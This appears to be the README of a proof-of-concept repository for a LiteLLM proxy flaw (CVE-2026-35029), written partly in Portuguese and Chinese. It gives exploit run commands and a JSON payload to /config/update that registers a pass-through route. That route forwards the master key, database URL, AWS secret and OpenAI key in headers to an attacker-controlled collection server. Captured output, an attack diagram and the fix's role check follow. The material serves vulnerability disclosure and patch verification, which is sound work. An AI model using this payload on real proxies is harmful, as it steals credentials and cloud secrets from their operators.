# 1. Iniciar LiteLLM vulnerável + servidor receptor de dados do atacante
docker compose up -d

# 2. Instalar dependências
pip install -r requirements.txt

# 3. Executar cadeia de ataque completa (roubo de variáveis de ambiente + leitura de arquivos)
python3 exploit/exploit.py --mode full-chain \
  --target http://localhost:4000 \
  --key sk-litellm-master-key

# 4. Apenas roubar variáveis de ambiente
python3 exploit/exploit.py --mode exfil \
  --target http://localhost:4000 \
  --key sk-litellm-master-key

# 5. (Opcional) Verificar que a versão corrigida não é afetada
docker compose --profile fixed up -d
python3 exploit/exploit.py --mode full-chain \
  --target http://localhost:4001 \
  --key sk-litellm-master-key --fixed

======================================================================
[VULNERABLE] Phase 1: Environment Variable Exfiltration
======================================================================

[*] Step 1: Registering pass-through endpoint via /config/update...
    Payload: {
        "general_settings": {
            "pass_through_endpoints": [
                {
                    "path": "/exfil/env",
                    "target": "http://exfil-server:9999/collect",
                    "headers": {
                        "X-Exfil-1-LITELLM_MASTER_KEY": "os.environ/LITELLM_MASTER_KEY",
                        "X-Exfil-2-DATABASE_URL": "os.environ/DATABASE_URL",
                        "X-Exfil-3-AWS_SECRET_ACCESS_KEY": "os.environ/AWS_SECRET_ACCESS_KEY",
                        "X-Exfil-4-OPENAI_API_KEY": "os.environ/OPENAI_API_KEY"
                    }
                }
            ]
        }
    }
    HTTP 200
    [+] Config update accepted!

[*] Step 2: Waiting for pass-through route propagation...
    6 seconds...

[*] Step 3: Triggering pass-through endpoint at /exfil/env...
    HTTP 200
    Response: {"status":"received","message":"Data captured by exfiltration server"}

[*] Step 4: Checking exfiltration server for stolen data...

[🔥] EXFILTRATION LOGS:
────────────────────────────────────────────────────────────
📥 Request received
   Path  : /collect
   Headers:
     X-Exfil-1-LITELLM_MASTER_KEY: sk-litellm-master-key
     X-Exfil-2-DATABASE_URL: postgresql://admin:[email protected]:5432/production
     X-Exfil-3-AWS_SECRET_ACCESS_KEY: AKIA1234567890EXAMPLE
     X-Exfil-4-OPENAI_API_KEY: sk-openai-secret-key-leaked

[🔥] EXPLOIT SUCCEEDED! Sensitive data exfiltrated!

======================================================================
[FIXED] Phase 1: Environment Variable Exfiltration
======================================================================
    HTTP 403
    [-] Forbidden — target may be patched (v1.83.0+)
    [+] Expected: fixed version blocks non-admin config updates

 ┌──────────────┐     ┌─────────────────┐     ┌───────────────────┐
 │ 攻击者        │     │  LiteLLM Proxy   │     │ Exfiltration 服务  │
 │ (低权限 Key)  │     │ (< v1.83.0)     │     │ (攻击者控制)       │
 └──────┬───────┘     └────────┬────────┘     └────────┬──────────┘
        │                      │                       │
        │ 1. POST /config/update                       │
        │    {pass_through_endpoints:                  │
        │      [{path, target, headers:                │
        │        {X-DB: "os.environ/DATABASE_URL"}}]}  │
        │─────────────────────→│                       │
        │                      │                       │
        │    HTTP 200 (OK!)    │                       │
        │←─────────────────────│                       │
        │                      │                       │
        │ 2. GET /exfil/env    │                       │
        │─────────────────────→│                       │
        │                      │ 3. Forward request    │
        │                      │    + resolved headers │
        │                      │    (含 DATABASE_URL)  │
        │                      │──────────────────────→│
        │                      │                       │
        │                      │    HTTP 200           │
        │                      │←──────────────────────│
        │←─────────────────────│                       │
        │                      │                       │
        │ 4. 读取 /logs 确认结果                       │
        │─────────────────────────────────────────────→│
        │←─ [🔥] 窃取到 DATABASE_URL ─────────────────│

CVE-2026-35029/
├── README.md                    # This file
├── docker-compose.yml           # PostgreSQL db + vulnerable/fixed LiteLLM + exfil server
├── litellm_config.yaml          # LiteLLM base config
├── requirements.txt             # Python dependencies (PoC)
├── exfil-server/
│   ├── Dockerfile               # Exfiltration server image
│   └── server.py                # Captures stolen data (Python HTTP)
├── exploit/
│   ├── exploit.py               # Main exploit script
│   └── payload.py               # Payload builder module
├── docs/
│   └── advisory.md              # Advisory reference
└── screenshots/
    └── README.md                # Proof screenshots placeholder

# 修复前 (v1.83.0 之前) — 无角色检查
@router.post("/config/update")
async def update_config(request: Request):
    ...  # 任何已认证用户均可调用

# 修复后 (v1.83.0+) — 需要 proxy_admin 角色
@router.post("/config/update")
@require_role("proxy_admin")  # ← 新增角色检查
async def update_config(request: Request):
    ...